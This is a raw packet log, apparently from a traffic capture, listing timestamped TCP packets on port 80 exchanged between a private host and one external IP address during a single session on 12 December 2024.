Dec 12, 2024 21:50:37.516489983 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.517327070 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.517446995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.518394947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.518419981 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.518476963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.518512011 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.518544912 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.519644976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.520029068 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.520153999 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.520682096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.520750046 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.520880938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.521842957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.522070885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.522870064 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.523000002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.524012089 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.524118900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.525099039 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.525250912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.525377989 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.525424957 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.526231050 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.526351929 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.526572943 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.527359962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.527888060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.528552055 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.529119015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.529630899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.529841900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.530708075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.531229973 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.531857014 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.532152891 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.532946110 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.533159971 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.534149885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.534363031 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.535154104 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.535239935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.535582066 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.536289930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.536437035 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.536550045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.536550045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.536550045 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.537373066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.537456036 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.537928104 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.538568974 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.538662910 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.539062023 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.539602995 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.539736032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.539766073 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.539798975 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.540785074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.540838003 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.540885925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.540936947 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.541842937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.541898966 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.542011976 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.542062998 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.543015003 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.543070078 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.543118000 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.543168068 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.544169903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.544224024 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.544271946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.544326067 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.545167923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.545221090 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.545298100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.545350075 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.546320915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.546403885 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.546624899 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.546679020 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.547739029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.547791958 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.547838926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.547907114 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.548563957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.548615932 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.548630953 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.548687935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.549642086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.549695969 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.549793959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.549845934 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.550760984 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.550813913 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.550945044 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.550997972 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.551903009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.551959991 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.552009106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.552058935 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.553040028 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.553118944 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.553209066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.553287029 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.554104090 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.554168940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.554183960 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.554295063 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.555202007 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.555396080 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.689707041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.689831018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.690181017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.690341949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.691303968 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.691415071 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.692681074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.692871094 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.693542957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.693732023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.694607019 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.694818020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.695687056 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.695760012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.696842909 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.696970940 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.697370052 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.697917938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.698035955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.699040890 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.699110985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.700151920 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.700320959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.701304913 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.701375961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.702361107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.702517033 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.703556061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.703689098 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.704662085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.704714060 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.705729961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.705899954 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.706933022 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.706949949 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.707974911 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.708044052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.709147930 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.709249020 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.710278988 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.710340023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.711544037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.711643934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.712718010 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.712809086 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.713809013 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.713891029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.714936018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.715019941 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.715997934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.716093063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.716952085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.717080116 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.717585087 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.718039989 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.718137026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.719084978 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.719196081 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.720202923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.720393896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.721358061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.721452951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.722520113 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.722610950 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.723553896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.723686934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.724787951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.724916935 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.725960016 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.726074934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.727116108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.727209091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.728157043 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.728302002 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.729217052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.729317904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.730288029 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.730437994 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.731388092 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.731448889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.732455015 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.732590914 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.733599901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.733952045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.734730005 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.734906912 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.735918045 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.736021996 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.736920118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.737037897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.737720013 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.738054037 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.738153934 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.739238024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.739327908 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.740412951 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.740535975 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.741522074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.741601944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.742594957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.742705107 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.743623018 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.743767023 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.744733095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.745074987 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.745848894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.745955944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.746958017 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.747106075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.748070955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.757842064 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758424997 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758455992 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758510113 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758753061 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758801937 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758821964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758821964 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758878946 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.758878946 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.881437063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.881503105 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.881756067 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.881855011 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.882869959 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.882980108 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.883673906 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.883770943 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.884850025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.884970903 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.885912895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.886059999 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.887167931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.887227058 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.888183117 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.888292074 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.889344931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.889445066 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.890372038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.890533924 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.891522884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.891664982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.892668009 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.892750025 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.893737078 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.893826962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.894910097 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.895024061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.895946980 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.896033049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.897079945 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.897219896 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.898194075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.898341894 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.899081945 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.899369955 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.899446964 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.900408030 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.900511026 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.901513100 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.901664972 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.902734041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.902896881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.903867006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.903961897 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.905000925 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.905073881 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.906013012 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.906101942 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.907195091 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.907274961 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.908322096 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.908422947 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.909363985 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.909440041 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.910501957 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.910612106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.911546946 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.911742926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.912695885 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.912750006 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.913805008 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.913888931 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.914915085 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.915013075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.916064024 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.916134119 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.917131901 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.917264938 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.918406963 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.918557882 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.919213057 CET	49942	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:37.919476032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.919580936 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.920452118 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.920561075 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.921587944 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.921674967 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.922699928 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.922772884 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.923799038 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.923883915 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.924935102 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.925043106 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.926045895 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.926153898 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.927108049 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.927270889 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.928265095 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.928392887 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.929434061 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.929553032 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.930639982 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.930754900 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.931649923 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.931818962 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.932728052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.932846069 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.933922052 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.934035063 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.935092926 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.935216904 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.936156034 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.936224937 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.937196970 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.937273979 CET	80	49942	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:37.938352108 CET	80	49942	185.215.113.16	192.168.2.6
